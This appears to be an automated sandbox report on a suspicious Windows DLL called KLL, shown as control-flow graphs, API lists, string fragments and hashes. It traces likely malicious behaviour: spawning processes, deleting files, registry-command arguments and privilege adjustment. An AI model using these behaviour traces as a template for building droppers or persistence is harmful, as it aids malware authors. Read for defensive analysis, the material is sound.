call 1800016d0 call 1800015f4 37->61 53 1800059d2-180005aab call 18000151c call 18000146c call 180001430 call 18000146c 38->53 54 1800059c6-1800059cd call 18000eabc 38->54 73 180005ab9-180005ad6 53->73 74 180005aad-180005ab4 call 18000eabc 53->74 54->53 60->61 86 180005dd7-180005ddb call 18000eabc 61->86 87 180005de0-180005df4 61->87 77 180005ae4-180005afe 73->77 78 180005ad8-180005adf call 18000eabc 73->78 74->73 81 180005b09-180005b39 call 180001220 call 180001a20 77->81 82 180005b00-180005b04 call 18000eabc 77->82 78->77 102 180005b47-180005b64 81->102 103 180005b3b-180005b42 call 18000eabc 81->103 82->81 86->87 89 180005e02-180005e1f 87->89 90 180005df6-180005dfd call 18000eabc 87->90 93 180005e21-180005e28 call 18000eabc 89->93 94 180005e2d-180005e4b 89->94 90->89 93->94 97 180005e59-180005ea6 CreateDirectoryW call 180003948 94->97 98 180005e4d-180005e54 call 18000eabc 94->98 111 180005ea8 97->111 112 180005eab-180005f09 call 180002f78 call 180001808 call 1800015f4 call 1800016d0 97->112 98->97 105 180005b73-180005b7b 102->105 106 180005b66-180005b72 call 18000eabc 102->106 103->102 109 180005b89-180005b8f 105->109 110 180005b7d-180005b84 call 18000eabc 105->110 106->105 109->38 115 180005b95-180005b9b 109->115 110->109 111->112 124 180005f17-180005f34 112->124 125 180005f0b-180005f12 call 18000eabc 112->125 115->37 127 180005f42-180005f5f 124->127 128 180005f36-180005f3d call 18000eabc 124->128 125->124 130 180005f61-180005f68 call 18000eabc 127->130 131 180005f6d-180005f8b 127->131 128->127 130->131 132 180005f99-180005fe5 call 180006af4 Sleep 131->132 133 180005f8d-180005f94 call 18000eabc 131->133 138 180005fe7-180005fea 132->138 139 180005fec-180005fef call 180010398 132->139 133->132 140 180005ff4-180006087 call 180005638 call 180003e68 call 180001808 call 1800016d0 138->140 139->140 150 180006092-1800061f5 call 1800018e4 call 180001808 * 5 call 1800016d0 140->150 151 180006089-18000608d call 18000eabc 140->151 167 180006203-1800062a2 call 1800018e4 call 18000167c * 2 150->167 168 1800061f7-1800061fe call 18000eabc 150->168 151->150 176 1800062a4-1800062ab call 18000eabc 167->176 177 1800062b0-1800062ca 167->177 168->167 176->177 179 1800062d5-18000639a call 180003b3c call 1800016d0 * 2 177->179 180 1800062cc-1800062d0 call 18000eabc 177->180 188 1800063a8-1800063c5 179->188 189 18000639c-1800063a3 call 18000eabc 179->189 180->179 191 1800063d3-180006428 call 180003b3c call 1800016d0 * 2 188->191 192 1800063c7-1800063ce call 18000eabc 188->192 189->188 200 180006436-180006450 191->200 201 18000642a-180006431 call 18000eabc 191->201 192->191 203 180006452-180006456 call 18000eabc 200->203 204 18000645b-1800065e7 call 180003b3c call 18000547c call 180005540 * 2 call 180003d20 Sleep ShellExecuteW Sleep 200->204 201->200 203->204 216 1800065e9-1800065ec 204->216 217 1800065ee-1800065f5 call 180010398 204->217 218 1800065fa-180006641 call 180005638 216->218 217->218 222 180006643-180006646 218->222 223 180006648-18000664b call 180010398 218->223 224 180006650-1800067af call 180005638 * 2 call 180002270 call 18000310c Sleep call 180002270 * 4 call 18000310c DeleteFileW * 3 call 180004df0 222->224 223->224 245 1800067b4-180006908 call 180004df0 * 13 call 18000286c call 18000e87c call 180004df0 call 180004e58 call 1800121d0 224->245
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Sleep$DeleteFile$lstrcatrandstd::ios_base::_$AddressExecuteIos_base_dtorLibraryLoadProcShell$CreateDirectoryExitFolderPathProcessSpecialTidywsprintf
                                                                                              • String ID: 255$ sta$.0.0$1.0.$Dele$Shel$cute$lExe$leW$teFi$tic $~m7
                                                                                              • API String ID: 1252767233-2095672197
                                                                                              • Opcode ID: 91ad20c48cb239d817e9e41d4fa4c240300dd89d0bb4ad2b14751df56e90a566
                                                                                              • Instruction ID: b471e065821f5039b88dab33493cd8e50cf884940e6319a01e01c4874729673a
                                                                                              • Opcode Fuzzy Hash: 91ad20c48cb239d817e9e41d4fa4c240300dd89d0bb4ad2b14751df56e90a566
                                                                                              • Instruction Fuzzy Hash: B6A22572211AC88AE7B2DF20DC947DD33A5F74978CF80911AE6494BAAADF71C748C744
                                                                                              Function 000000018000310C Relevance: 21.4, APIs: 14, Instructions: 412memorycomCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 410 18000310c-1800031de CoInitialize CoImpersonateClient CoInitializeSecurity call 1800113c0 call 18000547c call 180003754 417 1800031e3-1800031f8 call 180002f78 410->417 418 1800031e0 410->418 421 1800031fa 417->421 422 1800031fd-18000320e CLSIDFromProgID 417->422 418->417 421->422 423 180003219-180003230 422->423 424 180003210-180003214 call 18000eabc 422->424 426 180003232-180003236 call 18000eabc 423->426 427 18000323b-180003263 CoCreateInstance 423->427 424->423 426->427 429 180003269-1800032b5 VariantInit call 1800113c0 call 18000547c call 180003754 427->429 430 1800036aa-1800036b9 CoUninitialize 427->430 453 1800032b7 429->453 454 1800032ba-1800032ca call 180002f78 429->454 432 1800036c2-1800036c6 430->432 433 1800036bb-1800036c1 430->433 434 1800036c8-1800036cb call 18000eabc 432->434 435 1800036d0-1800036e1 432->435 433->432 434->435 440 1800036e3-1800036e7 call 18000eabc 435->440 441 1800036ec-1800036ff 435->441 440->441 444 180003701-180003704 call 18000eabc 441->444 445 180003709-180003719 441->445 444->445 448 180003723 445->448 449 18000371b-18000371e call 18000eabc 445->449 452 180003727-180003751 call 1800121d0 448->452 449->448 453->454 459 1800032cc 454->459 460 1800032cf-1800032f9 454->460 459->460 461 180003303-180003307 460->461 462 180003309-18000331b call 180003ad0 461->462 463 18000331d-180003321 461->463 462->463 464 180003323-180003327 call 18000eabc 463->464 465 18000332c-180003342 463->465 464->465 468 180003344-180003348 call 18000eabc 465->468 469 18000334d-18000334f 465->469 468->469 472 180003351-180003359 469->472 473 18000337a-18000338b 469->473 474 180003362-180003366 472->474 475 18000335b-180003361 472->475 476 180003397-1800033e3 VariantInit call 1800113c0 call 18000547c call 180003754 473->476 477 18000338d-180003396 473->477 479 180003368-18000336b call 18000eabc 474->479 480 180003370-180003375 474->480 475->474 489 1800033e5 476->489 490 1800033e8-1800033f8 call 180002f78 476->490 477->476 479->480 480->435 489->490 493 1800033fa 490->493 494 1800033fd-180003433 490->494 493->494 496 180003435-180003445 call 180003ad0 494->496 497 180003447-18000344c 494->497 496->497 499 180003457-18000346d 497->499 500 18000344e-180003452 call 18000eabc 497->500 503 180003478-18000347a 499->503 504 18000346f-180003473 call 18000eabc 499->504 500->499 506 18000350f-180003520 503->506 507 180003480-180003492 503->507 504->503 508 180003522-18000352b 506->508 509 18000352c-180003535 506->509 514 180003494-18000349a 507->514 515 18000349b-1800034a4 507->515 508->509 510 180003538-18000354d VariantInit 509->510 510->510 513 18000354f-180003556 510->513 518 180003558-18000355b 513->518 519 18000355d 513->519 514->515 516 1800034a6-1800034a9 call 18000eabc 515->516 517 1800034ae-1800034c4 515->517 516->517 522 1800034c6-1800034ca call 18000eabc 517->522 523 1800034cf-1800034e2 517->523 524 180003560-18000356f SysAllocString 518->524 519->524 522->523 526 1800034e4-1800034e7 call 18000eabc 523->526 527 1800034ec-1800034fc 523->527 528 180003571-180003575 524->528 529 180003577 524->529 526->527 532 180003506-18000350a 527->532 533 1800034fe-180003501 call 18000eabc 527->533 531 18000357a-180003588 SysAllocString 528->531 529->531 534 18000358a-18000358d 531->534 535 18000358f 531->535 532->452 533->532 537 180003592-1800035a0 SysAllocString 534->537 535->537 538 1800035a2-1800035a5 537->538 539 1800035a7 537->539 540 1800035aa-1800035fc SysAllocString call 1800113c0 call 18000547c call 180003754 538->540 539->540 547 180003601-180003611 call 180002f78 540->547 548 1800035fe 540->548 551 180003613 547->551 552 180003616-18000363b call 180003c44 547->552 548->547 551->552 555 180003646-18000365c 552->555 556 18000363d-180003641 call 18000eabc 552->556 558 180003667-18000366b 555->558 559 18000365e-180003662 call 18000eabc 555->559 556->555 561 180003670-180003680 VariantClear 558->561 559->558 561->561 562 180003682-18000368d 561->562 563 180003699-1800036a7 562->563 564 18000368f-180003698 562->564 563->430 564->563
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: AllocStringVariant$Init$Initialize$ClearClientCreateFromImpersonateInstanceProgSecurityUninitialize
                                                                                              • String ID:
                                                                                              • API String ID: 3828289656-0
                                                                                              • Opcode ID: aa88f29563c2ffc65014714e904bf7a2833b814b78ce2aaa8fd9bb39cfb85ccd
                                                                                              • Instruction ID: 17e632349898214e84f3cdb7cde7fd1c3f2faf68dbad7f7ad30978f26a4404d4
                                                                                              • Opcode Fuzzy Hash: aa88f29563c2ffc65014714e904bf7a2833b814b78ce2aaa8fd9bb39cfb85ccd
                                                                                              • Instruction Fuzzy Hash: 1D127C32204B4885EB52DF61E8893DE77B8F789BC8F418025EA4D57BA5DF34C658C384
                                                                                              Function 0000000180003848 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 64sleepCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesSleepValue_beginthreadex
                                                                                              • String ID: SeShutdownPrivilege
                                                                                              • API String ID: 1138004472-3733053543
                                                                                              • Opcode ID: 06b95bb0e04c8115479e58d38b5aff5ec6a9605bbd82b6a0b753a633510d5ae5
                                                                                              • Instruction ID: c119bef3d9313d858413680f87eed0066403d44693a5aef54c38cb28c5ddb35c
                                                                                              • Opcode Fuzzy Hash: 06b95bb0e04c8115479e58d38b5aff5ec6a9605bbd82b6a0b753a633510d5ae5
                                                                                              • Instruction Fuzzy Hash: DA311C72B10B098AF792CFB1D8497ED37B4F74C79DF048426EA09A6658DF78C2498750
                                                                                              Function 000000018000690C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: GlobalInfoMemoryStatusSystem
                                                                                              • String ID: @
                                                                                              • API String ID: 248183744-2766056989
                                                                                              • Opcode ID: 74e4c175b4705d7d3b237dcc859c670c63c07ebdb0fd81a7ce4532ab45da30ac
                                                                                              • Instruction ID: e212416c062b2ec459f904ba2b5b3911de738cab0e8f02f596a001cfa91dd21d
                                                                                              • Opcode Fuzzy Hash: 74e4c175b4705d7d3b237dcc859c670c63c07ebdb0fd81a7ce4532ab45da30ac
                                                                                              • Instruction Fuzzy Hash: E4F01232618A84C7FBA2DB60E45A3AAB360F7DD794F804515E68E41A65DF7CC25DCB00
                                                                                              Function 000000018000CA4C Relevance: 4.6, APIs: 3, Instructions: 93fileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 744 18000ca4c-18000ca7b 745 18000ca8b-18000ca9c 744->745 746 18000ca7d 744->746 748 18000ca9e-18000caa2 745->748 749 18000cae0-18000cae3 745->749 747 18000ca84-18000ca86 746->747 750 18000cb66-18000cb83 747->750 751 18000caa4-18000cad1 CreateFileW 748->751 752 18000cafe-18000cb12 call 18000eaf0 748->752 753 18000cae6-18000cafa SetFilePointer 749->753 754 18000cad3-18000cad9 751->754 755 18000cadb-18000cade 751->755 758 18000cb14-18000cb2d 752->758 759 18000cb2f-18000cb4a 752->759 753->752 754->747 755->753 760 18000cb61-18000cb63 758->760 759->760 761 18000cb4c-18000cb5e SetFilePointer 759->761 760->750 761->760
                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$Pointer$Createmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 2443069792-0
                                                                                              • Opcode ID: 046aaf7edb2938368552d60333a7b804221275b9317d7e999aa9ef1b381fcd39
                                                                                              • Instruction ID: 90efbe834830a3e2c3a1ec1e889e68f25e8007d58701ded8ae26e02445723706
                                                                                              • Opcode Fuzzy Hash: 046aaf7edb2938368552d60333a7b804221275b9317d7e999aa9ef1b381fcd39
                                                                                              • Instruction Fuzzy Hash: 7431E5326187588BE362CF25A440B9E7BA0F389FE4F558215EF5603B90DF39C649C745
                                                                                              Function 0000000180006AF4 Relevance: 25.0, APIs: 8, Strings: 6, Instructions: 451stringsleepfileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 282 180006af4-180006b63 call 180011180 call 180003948 287 180006b65 282->287 288 180006b68-180006ba0 call 180002f78 wsprintfW 282->288 287->288 291 180006ba2-180006ba6 call 18000eabc 288->291 292 180006bab-180006bc0 288->292 291->292 294 180006bc2-180006bc6 call 18000eabc 292->294 295 180006bcb-180007010 SHGetSpecialFolderPathW lstrcatW * 3 call 180010398 call 180005638 call 1800018e4 call 1800016d0 * 5 292->295 294->295 313 180007012-180007016 call 18000eabc 295->313 314 18000701b-180007030 295->314 313->314 316 180007032-180007036 call 18000eabc 314->316 317 18000703b-18000704b 314->317 316->317 319 180007056-180007066 317->319 320 18000704d-180007051 call 18000eabc 317->320 322 180007071-180007081 319->322 323 180007068-18000706c call 18000eabc 319->323 320->319 325 180007083-180007087 call 18000eabc 322->325 326 18000708c-18000711b call 1800018e4 call 1800016d0 * 5 322->326 323->322 325->326 340 180007129-180007145 326->340 341 18000711d-180007124 call 18000eabc 326->341 342 180007153-18000716f 340->342 343 180007147-18000714e call 18000eabc 340->343 341->340 346 180007171-180007178 call 18000eabc 342->346 347 18000717d-180007196 342->347 343->342 346->347 349 1800071a1-1800071b1 347->349 350 180007198-18000719c call 18000eabc 347->350 352 1800071b3-1800071b7 call 18000eabc 349->352 353 1800071bc-18000723f call 1800018e4 call 1800016d0 * 5 349->353 350->349 352->353 367 180007241-180007245 call 18000eabc 353->367 368 18000724a-18000725a 353->368 367->368 370 180007265-180007275 368->370 371 18000725c-180007260 call 18000eabc 368->371 373 180007277-18000727b call 18000eabc 370->373 374 180007280-180007290 370->374 371->370 373->374 375 180007292-180007296 call 18000eabc 374->375 376 18000729b-1800072ab 374->376 375->376 379 1800072b6-1800072f5 call 180001748 call 18000167c 376->379 380 1800072ad-1800072b1 call 18000eabc 376->380 386 1800072f7-1800072fb call 18000eabc 379->386 387 180007300-1800073ce call 18000849c call 180011180 ShellExecuteExW Sleep DeleteFileW 379->387 380->379 386->387 393 1800073dc-1800073f8 387->393 394 1800073d0-1800073d7 call 18000eabc 387->394 396 180007406-180007422 393->396 397 1800073fa-180007401 call 18000eabc 393->397 394->393 399 180007424-18000742b call 18000eabc 396->399 400 180007430-18000744c 396->400 397->396 399->400 402 18000745a-180007476 400->402 403 18000744e-180007455 call 18000eabc 400->403 405 180007484-1800074b3 call 1800121d0 402->405 406 180007478-18000747f call 18000eabc 402->406 403->402 406->405
                                                                                              APIs
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: lstrcat$rand$DeleteExecuteFileFolderPathShellSleepSpecialwsprintf
                                                                                              • String ID: /F $ /d 0$ /t $ /v $@$p
                                                                                              • API String ID: 2901984432-719673316
                                                                                              • Opcode ID: f867e8dae1483faefaeafef515169258fb5eac913dc4776a432e77a06b557440
                                                                                              • Instruction ID: 1b714bdd413dddaeee93f08efcf118a1eabb8baec5c74b7f47a568609be5eda1
                                                                                              • Opcode Fuzzy Hash: f867e8dae1483faefaeafef515169258fb5eac913dc4776a432e77a06b557440
                                                                                              • Instruction Fuzzy Hash: FA420272211AC4DEE761DF61DC883CD37A5F74978CF40811AEA085BAAACFB58788C744
                                                                                              Function 000000018000A388 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 255COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
                                                                                              control_flow_graph 567 18000a388-18000a3d0 568 18000a675-18000a678 567->568 569 18000a3d6-18000a3dd 567->569 572 18000a6c3-18000a6dc call 18000d300 568->572 573 18000a67a-18000a67e 568->573 570 18000a3e9-18000a3ed 569->570 571 18000a3df-18000a3e4 569->571 575 18000a3f7-18000a401 570->575 576 18000a3ef-18000a3f2 call 18000cda0 570->576 574 18000a710-18000a73a call 1800121d0 571->574 591 18000a6ea-18000a6ef 572->591 592 18000a6de-18000a6e6 call 18000cda0 572->592 578 18000a688-18000a692 573->578 579 18000a680-18000a683 call 18000cda0 573->579 575->571 583 18000a403-18000a406 575->583 576->575 578->571 580 18000a698-18000a69b 578->580 579->578 586 18000a6a9-18000a6b2 580->586 587 18000a69d-18000a6a2 call 18000ce78 580->587 589 18000a417-18000a41d 583->589 590 18000a408-18000a40d call 18000ce78 583->590 596 18000a6a4 call 18000ced4 586->596 597 18000a6b4-18000a6c0 call 18000cf54 586->597 587->586 599 18000a40f-18000a412 call 18000ced4 589->599 600 18000a41f-18000a435 call 180009b88 589->600 590->589 593 18000a6f1-18000a6f3 591->593 594 18000a6f5-18000a6f7 591->594 592->591 593->574 604 18000a6f9-18000a6fe 594->604 605 18000a700-18000a70d 594->605 596->586 597->572 599->589 613 18000a477-18000a47d 600->613 614 18000a437-18000a43b 600->614 604->574 605->574 616 18000a483-18000a48d 613->616 617 18000a597-18000a59b 613->617 614->593 615 18000a441-18000a446 614->615 620 18000a468 615->620 621 18000a448-18000a44d 615->621 622 18000a4a6-18000a4a9 616->622 618 18000a5a7-18000a5c3 call 18000cf54 617->618 619 18000a59d-18000a5a2 617->619 637 18000a5d4-18000a5f0 call 18000d300 618->637 638 18000a5c5-18000a5cd call 18000eaf0 618->638 619->574 627 18000a46a-18000a472 call 180009a68 620->627 621->620 626 18000a44f-18000a455 621->626 623 18000a4ab-18000a4bd call 18001282c 622->623 624 18000a48f-18000a493 622->624 640 18000a4c8-18000a4da 623->640 641 18000a4bf-18000a4c6 623->641 633 18000a495-18000a499 624->633 634 18000a49b 624->634 630 18000a457-18000a45d 626->630 631 18000a45f-18000a466 626->631 627->593 630->620 630->631 631->627 633->634 635 18000a49f-18000a4a3 633->635 634->635 635->622 652 18000a652 637->652 653 18000a5f2-18000a5f4 637->653 638->637 645 18000a73b-18000a753 call 180012750 call 18000a760 640->645 646 18000a4e0-18000a4f3 640->646 644 18000a50a-18000a537 wsprintfW 641->644 654 18000a559-18000a594 call 180009a68 CreateFileW 644->654 675 18000a758-18000a75c 645->675 649 18000a4f5-18000a4f9 646->649 650 18000a539-18000a557 wsprintfW 646->650 649->650 656 18000a4fb-18000a4fe 649->656 650->654 655 18000a657-18000a65b 652->655 658 18000a624-18000a629 653->658 659 18000a5f6 653->659 654->617 662 18000a666-18000a670 call 18000cda0 655->662 663 18000a65d-18000a660 CloseHandle 655->663 656->644 664 18000a500-18000a508 656->664 658->655 666 18000a5f8-18000a60f call 18002a058 659->666 667 18000a619-18000a61e 659->667 662->574 663->662 664->644 664->650 673 18000a615-18000a617 666->673 668 18000a632-18000a650 SetFileTime 667->668 669 18000a620-18000a622 667->669 668->655 669->637 669->658 673->667 676 18000a62b-18000a630 673->676 676->655
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: %s%s$%s%s%s
                                                                                              • API String ID: 0-1506711308
                                                                                              • Opcode ID: 6b874acec9ceebb95ce81af42464c2c8b92744ff4f26bf0f7c0c9e12891d00c1
                                                                                              • Instruction ID: b610c76a5d68178c7db461a43531c8448e7eb681cc980911b6fcdf4407cb46f9
                                                                                              • Opcode Fuzzy Hash: 6b874acec9ceebb95ce81af42464c2c8b92744ff4f26bf0f7c0c9e12891d00c1
                                                                                              • Instruction Fuzzy Hash: C2B1AD32208A8886FAA6DB25D4847EA33A0F38E7D8F54C122FA19476D5DF75CB5DC701
                                                                                              Function 000000018000849C Relevance: 12.1, APIs: 8, Instructions: 87fileCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: File$ByteCharCloseCreateHandleMultiWide$ExistsPathWrite
                                                                                              • String ID:
                                                                                              • API String ID: 3442908436-0
                                                                                              • Opcode ID: 8ea21141c6684929faeab277fc1de807e2132011359c5fbed607e61a3a7a4c84
                                                                                              • Instruction ID: afaa96bf352fad02aec184f24d26d8ecab7778e1edcaf6cfa37f0ba81fa14616
                                                                                              • Opcode Fuzzy Hash: 8ea21141c6684929faeab277fc1de807e2132011359c5fbed607e61a3a7a4c84
                                                                                              • Instruction Fuzzy Hash: 7A317272614B4447F7A5DF11A84479AB790B78DBF5F048325BAAA06AD5DF7CC2088B00
                                                                                              Function 0000000180009A68 Relevance: 9.1, APIs: 6, Instructions: 77COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: AttributesCreateDirectoryFile$wcscatwcscpy
                                                                                              • String ID:
                                                                                              • API String ID: 4269979241-0
                                                                                              • Opcode ID: e82f6bcf5aeb10c61f01b0aa7b909c62b3a9c2fee85ae59c08a4da3fa3b848e0
                                                                                              • Instruction ID: e72d625e1d96e67f8a4aef89d1111a9f994c81590d3ae78e7771b9e6b2dbaa95
                                                                                              • Opcode Fuzzy Hash: e82f6bcf5aeb10c61f01b0aa7b909c62b3a9c2fee85ae59c08a4da3fa3b848e0
                                                                                              • Instruction Fuzzy Hash: C331E331205A4C81FEA2DBA1A5543FAB351BB8DBE4F84C220EB9906AD5DF2CC349C301
                                                                                              Function 0000000180003BF4 Relevance: 4.5, APIs: 3, Instructions: 26sleepCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: Sleep$Count64Tick
                                                                                              • String ID:
                                                                                              • API String ID: 2406120688-0
                                                                                              • Opcode ID: 52b4e2659c1818b3c1b1d2e9d0db2798d237eea2d1f3487a19bd80c4981363d6
                                                                                              • Instruction ID: 5332eb2c2a0e63850cecd20b9dd8a4a72a11ba323c7add4f3c0f282b39e3a15b
                                                                                              • Opcode Fuzzy Hash: 52b4e2659c1818b3c1b1d2e9d0db2798d237eea2d1f3487a19bd80c4981363d6
                                                                                              • Instruction Fuzzy Hash: 2EE0D83171040943FB9E5BB66C893A42241AB4D361F18C738ED22C53D1CD1CCA8E0300
                                                                                              Function 0000000180003B3C Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              APIs
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.1770018570.0000000180001000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                              • Associated: 00000000.00000002.1769974718.0000000180000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CB000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.1770018570.00000001801CE000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_180000000_KLL.jbxd
                                                                                              Similarity
                                                                                              • API ID: FolderFromListLocationPathSpecial
                                                                                              • String ID:
                                                                                              • API String ID: 4082711253-0
                                                                                              • Opcode ID: b45033584db0ff50918458eea75e13eeb73f92ba9bd596d7d984fc64c21a1611
